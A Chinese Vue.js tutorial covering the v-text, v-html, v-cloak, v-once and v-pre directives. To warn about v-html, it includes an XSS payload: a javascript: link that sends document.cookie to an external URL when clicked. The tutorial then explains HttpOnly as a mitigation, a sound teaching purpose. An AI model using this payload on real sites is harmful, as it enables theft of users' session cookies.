Vue内置指令有哪些及怎么使用

发布时间:2022-05-27 11:31:49 作者:zzz
来源:亿速云 阅读:185

这篇文章主要介绍“Vue内置指令有哪些及怎么使用”,在日常操作中,相信很多人在Vue内置指令有哪些及怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Vue内置指令有哪些及怎么使用”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

指令总结

v-text

v-text 指令

<div id="root">
    <h3>{{msg}}</h3>
    <h3 v-text="msg"></h3>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>

Vue内置指令有哪些及怎么使用

v-html

先简单演示下 v-html

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h4>Hello world</h4>"
        }
    })
</script>

Vue内置指令有哪些及怎么使用

cookie 简略图示

Vue内置指令有哪些及怎么使用

Chrome 查看 cookie

Vue内置指令有哪些及怎么使用

可以输入两个 cookie 值,然后在控制台可以拿到这些值

Vue内置指令有哪些及怎么使用

另外 Firefox 查看 cookie 位置

Vue内置指令有哪些及怎么使用

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
    <div v-html="msg2"></div>
    <div v-html="msg3"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h4>Hello world</h4>",
            msg2:"<a href=javascript:alert(1)>资源,速来</a>",
            msg3:'<a href=javascript:location.href="https://www.baidu.com?" rel="external nofollow" +document.cookie>资源,速来</a>'
        }
    })
</script>

点击跳转后就会拿到 cookie,所以存在一定安全问题

当然我们看百度的cookie,加上了 HttpOnly。HttpOnly 是包含在 http 返回头Set-Cookie 里面的一个附加的 flag,所以它是后端服务器对 cookie设置的一个附加的属性,在生成 cookie 时使用 HttpOnly 标志有助于减轻客户端脚本访问受保护 cookie 的风险(如果浏览器支持的话)

Vue内置指令有哪些及怎么使用

v-html 指令

1.作用:向指定节点中渲染包含html结构的内容

2.与插值语法的区别:

3.严重注意:v-html 有安全性问题!!!!

v-cloak

v-cloak指令(没有值) 1.本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性 2.使用 css 配合 v-cloak 可以解决网速慢时页面展示出{{xxx}}的问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue初识</title>
    <style>
        /*选中标签中包含 v-cloak*/
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="root">
    <div v-cloak>{{msg}}</div>
    <!--如果引入了外部js,而且返回时间长,那么页面会闪现-->
    <script type="text/javascript" src="./js/vue.js"></script>
</div>
<!--这里标签内容只有在上边js加载完后才执行-->
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>
</body>
</html>

v-once

v-once 指令 1.v-once所在节点在初次动态渲染后,就视为静态内容了 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

<div id="root">
    <h3 v-once>n的初始值:{{n}}</h3>
    <h3>n的当前值:{{n}}</h3>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1![](https://img-blog.csdnimg.cn/8b0057d61e9b43848788b3c01f712058.gif#pic_center)

        }
    })
</script>

Vue内置指令有哪些及怎么使用

v-pre

v-pre指令 1.跳过其所在节点的编译过程 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

<div id="root">
    <h3 v-pre>Vue其实很简单</h3>
    <h3 v-pre>n的当前值:{{n}}</h3>
    <h3>n的当前值:{{n}}</h3>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1
        }
    })
</script>

Vue内置指令有哪些及怎么使用

到此,关于“Vue内置指令有哪些及怎么使用”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注亿速云网站,小编会继续努力为大家带来更多实用的文章!

推荐阅读:
  1. AngularJS中的内置指令
  2. vue中常用内置指令有哪些

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

vue

上一篇:docker进行数据挂载的模式有哪些

下一篇:怎么用springboot vue接口测试前端模块树和接口列表

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》